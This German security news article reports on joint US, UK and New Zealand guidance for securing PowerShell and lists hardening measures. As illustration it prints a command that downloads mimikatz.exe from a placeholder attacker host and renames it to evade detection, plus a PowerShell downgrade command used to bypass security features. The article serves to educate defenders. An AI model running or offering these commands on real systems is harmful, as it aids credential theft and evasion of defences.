PowerShell ist eines der am häufigsten eingesetzten Tools von Hackern bei „Living-off-the-Land“-Angriffen. Dabei verwenden Angreifer die eigenen Werkzeuge einer Organisation gegen sie selbst.
Diese Woche haben sich US-Cybersicherheitsbehörden mit ihren Amtskollegen im Vereinigten Königreich und in Neuseeland zusammengeschlossen, um Organisationen Hinweise zur sicheren Nutzung von PowerShell zu geben.
PowerShell ist ein Befehlszeilentool und eine zugehörige Skriptsprache, die auf dem .NET-Framework basiert. Ursprünglich für Windows entwickelt, veröffentlichte es Microsoft als Open Source 2016. Während die meisten Administratoren PowerShell zum Patchen von Systemen und Ausführen von Skripten verwenden, ist es auch ein klassisches Werkzeug im Arsenal von Hackern. Daher müssen sich Verteidiger und Penetrationstester damit auskennen.
Die US-Behörde für Cybersicherheit und Infrastruktursicherheit (CISA) kündigte ein gemeinsames Cybersecurity Information Sheet (CIS) der Cybersicherheitsbehörden aus den USA, Neuseeland und dem Vereinigten Königreich zu PowerShell an. Damit sollen Verteidiger PowerShell-Missbrauch erkennen und zugleich legitime Nutzungen ermöglichen können.
CISA, die NSA und ihre Amtskollegen im Vereinigten Königreich und in Neuseeland fordern Benutzer und Administratoren auf, den Leitfaden PowerShell beibehalten: Maßnahmen zur Nutzung und sicheren Anwendung, ein achtseitiges PDF-Dokument mit konkreten Maßnahmen zur Eindämmung von Angriffen, zu lesen.
Siehe die wichtigsten Tools für die Active-Directory-Sicherheit
So nutzen Angreifer PowerShell
Die Vorgehensweisen unterscheiden sich, aber Hacker verschaffen sich in der Regel zunächst Zugang – etwa nach einer Phishing-Attacke) – und verwenden dann PowerShell, um Active Directory (AD) oder andere kritische Systeme anzugreifen.
Wenn Administratoren AD-Attribute, Methoden und Funktionen nicht einschränken, können Hacker Anmeldedaten stehlen oder ihre Privilegien erweitern, um Daten zu exfiltrieren oder Schadsoftware zu installieren. Ist PowerShell hingegen zu stark eingeschränkt oder deaktiviert, können Administratoren laut dem Leitfaden „nicht bei der Systemwartung, bei forensischen Untersuchungen, bei der Automatisierung und bei der Sicherheit unterstützen“.
Penetrationstester können mithilfe von PowerShell verschiedene Angriffe durchführen, da die Konsole praktisch alles akzeptiert, was mit cmd.exe funktioniert, einschließlich alter Skripte und .bat-Dateien. Ein gängiger Ansatz besteht jedoch darin, Ressourcen von einer externen IP-Adresse herunterzuladen:
Invoke-WebRequest “http://ROGUE_IP:80/mimikatz.exe” -OutFile “legitimateexec.exe”
Hinweis: Im obigen Befehl wird „mimikatz.exe“ nicht legitim, sobald die Datei auf das System geschrieben wurde, sondern lediglich umbenannt, um eine einfache Erkennung zu umgehen (was leider oft schon ausreicht).
Das ist ein sehr einfaches Beispiel. Unter realen Bedingungen können Hacker schädlichen Code mithilfe von Base64 oder einer ausgefeilteren Verschleierung verbergen.
Natürlich ist dies nicht der einzige mögliche Angriff. Angreifer können geplante Aufgaben auflisten, Mitglieder und Administratoren ermitteln, Umgebungsvariablen auslesen, den Verlauf anzeigen, Richtlinien umgehen, die Überwachung deaktivieren, schädlichen Code in den Arbeitsspeicher einschleusen und noch komplexere Aufgaben ausführen.
Lesen Sie auch: Wie Hacker die Erkennung umgehen
So können Benutzer und Administratoren PowerShell absichern
Einige PowerShell-Angriffe sind nur sehr schwer zu erkennen. Verteidiger können EDR-Tools oder andere Sicherheitsprodukte einsetzen, um sie einzudämmen.
Diese PowerShell-Angriffe sind für Hacker attraktiv, weil sie in freizügig konfigurierten Umgebungen schnell Privilegien erweitern können. Mit anderen Worten: Es handelt sich um ein legitimes Tool, das sowohl Zugriff auf lokale als auch auf entfernte Systeme im Netzwerk ermöglichen kann.
Benutzer und Administratoren können ihre Systeme erheblich stärken, indem sie unsignierte Skripte ablehnen und die Skriptausführung einschränken.
Laut dem Dokument sollten sie außerdem veraltete PowerShell-Versionen deaktivieren und deinstallieren, um den meisten Missbrauch durch Angreifer zu verhindern. Neuere Versionen verfügen zudem über verbesserte integrierte Sicherheitsfunktionen für Prävention, Erkennung und Authentifizierung, darunter die Funktionen von PowerShell zum Schutz von Anmeldeinformationen.
Es wird außerdem empfohlen, PowerShell-Aktivitäten zu protokollieren. So kann das Modul Deep Script Block Logging (DSBL) beispielsweise verdächtige Invoke-Befehle aufzeichnen, die Hacker während ihrer Angriffe verwenden.
Wenn Aufgaben remote ausgeführt werden müssen, sollte SSH verwendet werden, da es im Gegensatz zu manchen Protokollen von vornherein sicher konzipiert ist.
Der folgende Screenshot zeigt Funktionen aktueller PowerShell-Versionen, die Sicherheitsteams und Verteidiger nutzen können:
Auf gängige Umgehungstechniken achten
Die PowerShell-Ausführungsrichtlinie lässt sich durch Eingabe des folgenden Befehls anzeigen:
Get-ExecutionPolicy
Sie soll einschränken, was ausgeführt werden darf und was nicht. Dies wird insbesondere empfohlen, um aus dem Internet heruntergeladene Skripte zu blockieren. Es gibt jedoch bekannte Techniken, um Einschränkungen zu umgehen, die Ausführungsrichtlinie zur Erweiterung von Privilegien zu ändern oder sie bei Bedarf sogar zu deaktivieren.
Mit einem Befehl wie dem folgenden lässt sich die Richtlinie ändern:
Set-ExecutionPolicy $Policy -Force
Das Problem ist, dass der obige Befehl von einem legitimen Benutzer zur Erledigung administrativer Aufgaben ausgeführt werden kann. Daher lässt er sich nicht ohne Unannehmlichkeiten deaktivieren. Aus offensichtlichen Gründen sollten nicht alle Benutzer ihn ausführen dürfen. Verhaltensanalysen können dabei helfen, solche ungewöhnlichen Aktivitäten in Benutzerkonten zu erkennen.
Außerdem sollten PowerShell-Sicherheitsfunktionen nicht blind eingesetzt werden. AMSI (Anti-Malware Scan Interface) ist beispielsweise eine PowerShell-Sicherheitsfunktion, die die Integration in Anti-Malware-Produkte ermöglicht. Sie wird jedoch von einer DLL (amsi.dll) instrumentiert, die missbraucht werden kann.
Darüber hinaus haben Angreifer gelernt, wie Sicherheitsfunktionen funktionieren und wie sie sich umgehen lassen. Der PowerShell-Downgrade-Angriff ist eine gängige Umgehungsmethode, mit der Sicherheitsfunktionen entfernt werden:
PowerShell -Version 2
Hacker können für diese Angriffe sogar ein automatisiertes Tool wie Unicorn verwenden.
Lesen Sie auch: Nur wenige Klicks bis zur Datenkatastrophe: Der Stand der Unternehmenssicherheit
Keine narrensichere Lösung
Wie üblich gibt es keine magische Lösung. Die Verwendung der neuesten PowerShell-Versionen und die Einschränkung der Ausführungsrichtlinie werden die ausgefeiltesten Angriffe nicht verhindern, bei denen native Funktionen missbraucht werden und die unentdeckt bleiben.
Dennoch ist dies ein wichtiger Schritt zu mehr Sicherheit, da viele Unternehmensnetzwerke die Aktivitäten nach einer erfolgreichen Kompromittierung vernachlässigen. Dadurch werden die Ermittlung von AD-Strukturen und andere Formen des Missbrauchs für Hacker relativ einfach. Ein mehrschichtiger Schutz ist effektiv, und es gibt keinen triftigen Grund, die Konfigurationen nicht abzusichern.
Lesen Sie als Nächstes: SIEM-Systeme testen und bewerten: Eine Analyse von Rapid7 InsightIDR





